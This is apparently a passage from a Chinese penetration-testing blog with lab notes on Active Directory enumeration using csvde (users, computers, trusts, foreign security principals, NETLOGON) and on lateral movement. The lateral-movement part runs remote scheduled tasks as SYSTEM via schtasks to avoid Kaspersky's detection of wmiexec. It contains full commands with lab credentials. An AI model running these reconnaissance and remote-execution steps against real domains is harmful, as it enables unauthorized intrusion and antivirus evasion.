由于我们在创建的时候并没有设置description属性，所以是null

获取域内所有组的信息

将objectClass的值设置为group即可，一般用户组的重要属性为dn、descriptioon、member、memberOf

导出的结果包含计算机组和用户组

导出域内所有计算机信息

csvde -s 192.168.65.138 -b administrator adlab.com qwe123... -d "dc=adlab,dc=com" -r (objectClass=computer) -l dn,description -m -f res.csv -u

只需要把objectClass的值改为computer即可

使用通配符搜索符合条件的对象

csvde -s 192.168.65.139 -b administrator matrix.loc 123qwe,./ -d "dc=matrix,dc=loc" -r "(&(objectClass=computer)(dNSHostName=corp*))" -l dn,operatingSystem -m -f res.csv -u

导出域内所有人员信息

csvde -s 192.168.65.128 -b administrator adlab.com qwe123... -d "dc=adlab,dc=com" -r "(&(objectcategory=person)(!(objectClass=computer)))" -l dn,description,sAMAccountName,pwdLastSet,lastLogonTimestamp -m -f res.csv -u

!(objectClass=computer)用于排除计算机账户

枚举外部安全实体（foreignSecurityPrincipal）并在对应域中进行定位

C:\windows\temp\csvde.exe -s 192.168.60.161 -b administrator domain2.com ...qwe123 -d "dc=domain2,dc=com" -r "(objectClass=foreignSecurityPrincipal)" -l Name -m -f C:\windows\temp\res.csv -u

在对应域中定位这些安全实体：

C:\windows\temp\csvde.exe -s 192.168.60.161 -b administrator domain2.com ...qwe123 -d "dc=domain2,dc=com" -r (objectSid=S-1-5-4) -l Name,department,description,title,sAMAccountName -m -f C:\windows\temp\res.csv -u

枚举域内信任关系

这个也可以使用dsquery来完成，同样也是使用ldap筛选器，只需要把objectClass的值设置为trustedDomain即可

csvde -s 192.168.1.10 -b administrator uoiysdf.iuodsf.vi 43u96tgjirbtgpnk3w4o9-ip -d "dc=uoiysdf,dc=iuodsf,dc=vi" -r (objectClass=trustedDomain) -m -f res.csv -u

从NETLOGON共享中搜集信息

域管理员为了给计算机或用户部署登录脚本，可能会在NETLOGON共享中放一些登录脚本，这个共享在整个域中都可以访问到，因此可以用于供域内计算机读取登录配置并执行

在当前的实验环境中，该共享可以在如下网络位置访问到

\\uoiysdf.iuodsf.vi\NETLOGON

横向移动

2020-08-04T00:00:00+02:00

前言

横向移动是开展内网渗透工作的重中之重，横向移动的手动也是多种多样，这里针对在横向移动中使用的技术和遇到的问题进行总结归纳

Impacket工具包

atexec.py执行过程中出现rpc_s_access_denied问题

在内网横向移动中，使用比较多的可能就数impacket了，在远程执行主机命令方面，最常使用的就是wmiexec.py和atexec.py这两个脚本，其中前者被各大杀毒软件查杀的比较厉害，比如卡巴斯基：

可以看到反病毒软件对C:\Windows\System32\wbem\WmiPrvSE.exe的监控还是比较严格的，因此wmiexec.py在绝大多数安装了反病毒软件的主机上还是很难进行使用的，而且容易引起对方的警觉，这时候我们大多会转而选择atexec.py脚本来进行远程命令执行，改脚本的大致原理就是通过往远程主机写入计划任务并执行来达到执行命令的目的，但是改脚本在windows 10操作系统上经常会遇到rpc_s_access_denied的问题

但是在windows 7上却可以正常执行，通过调试atexec.py，我们可以跟踪到问题出在下面这个地方：

对于windows 10，在执行hSchRpcRegisterTask方法时会抛出异常，导致计划任务创建失败，目前还没有了解到更详细的原因，如果后续搞明白了会更新出来

不过我们可以直接通过schtasks远程创建计划任务并执行来达到同样的效果，对于实际环境，我们可以使用Proxifier来进行代理，具体操作如下：

首先我们在攻击机中设置出如下代理，所有针对目标IP的传输层流量都会经过代理

然后我们直接在攻击机上使用schtasks进行计划任务的创建、执行和删除操作：

schtasks /create /tn test_sch_name /tr C:\Users\win_10_1\Desktop\123.bat /sc once /st 00:00 /S 192.168.1.9 /U uoiysdf.iuodsf.vi\administrator /P 43u96tgjirbtgpnk3w4o9-ip /RU System /f

schtasks /run /tn test_sch_name /S 192.168.1.9 /U uoiysdf.iuodsf.vi\administrator /P 43u96tgjirbtgpnk3w4o9-ip

schtasks /delete /tn test_sch_name /S 192.168.1.9 /U uoiysdf.iuodsf.vi\administrator /P 43u96tgjirbtgpnk3w4o9-ip /f

C:\Users\win_10_1\Desktop\123.bat会在桌面写一个test.txt，内容为test，用于检验命令是否成功执行

成功创建计划任务：

执行计划任务：

运行成功，卡巴斯基没有反应：

删除计划任务：

虽然这样也能执行命令，但是无法实施hash传递攻击，因为这种方法需要人提供明文密码

还有一点比较奇怪的地方就是，无法通过代理使用net use将目标主机的磁盘挂载到本地，会提示找不到网络名

回头可以研究一下impacket的smbclient.py脚本，看它是如何通过代理挂载目标机器的盘符的